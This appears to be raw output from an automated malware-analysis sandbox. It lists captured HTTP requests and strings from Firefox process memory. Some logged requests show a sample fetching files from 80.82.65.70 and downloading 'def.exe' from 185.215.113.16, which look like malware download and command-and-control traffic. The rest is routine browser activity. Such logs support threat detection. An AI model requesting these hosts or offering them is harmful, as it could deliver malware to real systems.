Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2898856802.00000294A9B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2926644947.00000294AD16B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2921314720.00000294ACE4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2913315248.00000294ACA17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2913315248.00000294ACA99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986949900.00000294B43E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2928411061.00000294ADCF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2928411061.00000294ADCC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: DevToolsStartup.jsm:handleDebuggerFlagdevtools/client/framework/devtools-browserresource://devtools/server/devtools-server.jsUnable to start devtools server on devtools/client/framework/devtools@mozilla.org/dom/slow-script-debug;1DevTools telemetry entry point failed: {9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Got invalid request to save JSON dataFailed to listen. Listener already attached.releaseDistinctSystemPrincipalLoaderNo callback set for this channel.resource://devtools/shared/security/socket.js@mozilla.org/network/protocol;1?name=filebrowser.urlbar.dnsResolveFullyQualifiedNamesdevtools.performance.popup.feature-flag^([a-z+.-]+:\/{0,3})([^\/@]+@).+^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?Failed to execute WebChannel callback:browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPdevtools.performance.recording.ui-base-urlget FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIJSON Viewer's onSave failed in startPersistenceFailed to listen. Callback argument missing.@mozilla.org/network/protocol;1?name=default@mozilla.org/uriloader/handler-service;1WebChannel/this._originCheckCallbackbrowser.fixup.dns_first_for_single_words^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)devtools.debugger.remote-websocket@mozilla.org/uriloader/dbus-handler-app;1@mozilla.org/network/file-input-stream;1resource://gre/modules/JSONFile.sys.mjshttps://mail.inbox.lv/compose?to=%shttp://www.inbox.lv/rfc2368/?value=%s{33d75835-722f-42c0-89cc-44f328e56a86}@mozilla.org/uriloader/web-handler-app;1extractScheme/fixupChangedProtocol<_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/local-handler-app;1http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/DeferredTask.sys.mjshandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/JSONFile.sys.mjsScheme should be either http or httpshttps://mail.yahoo.co.jp/compose/?To=%s_finalizeInternal/this._finalizePromise<resource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsresource://gre/modules/FileUtils.sys.mjsCan't invoke URIFixup in the content process{c6cf88b7-452e-47eb-bdc9-86e3561648ef}https://poczta.interia.pl/mh/?mailto=%sextension/default-theme@mozilla.org/extendedData@mozilla.org/network/async-stream-copier;1gecko.handlerService.defaultHandlersVersionisDownloadsImprovementsAlreadyMigratedhttp://poczta.interia.pl/mh/?mailto=%sMust have a source and a callbackhttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%snewChannel requires a single object argumenthttps://mail.yahoo.co.jp/compose/?To=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLhttps://mail.inbox.lv/compose?to=%sNon-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1@mozilla.org/network/simple-stream-listener;1@mozilla.org/intl/converter-input-stream;1https://poczta
Source: firefox.exe, 0000001F.00000002.2930582293.00000294ADE0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2893501186.00000294A8644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", 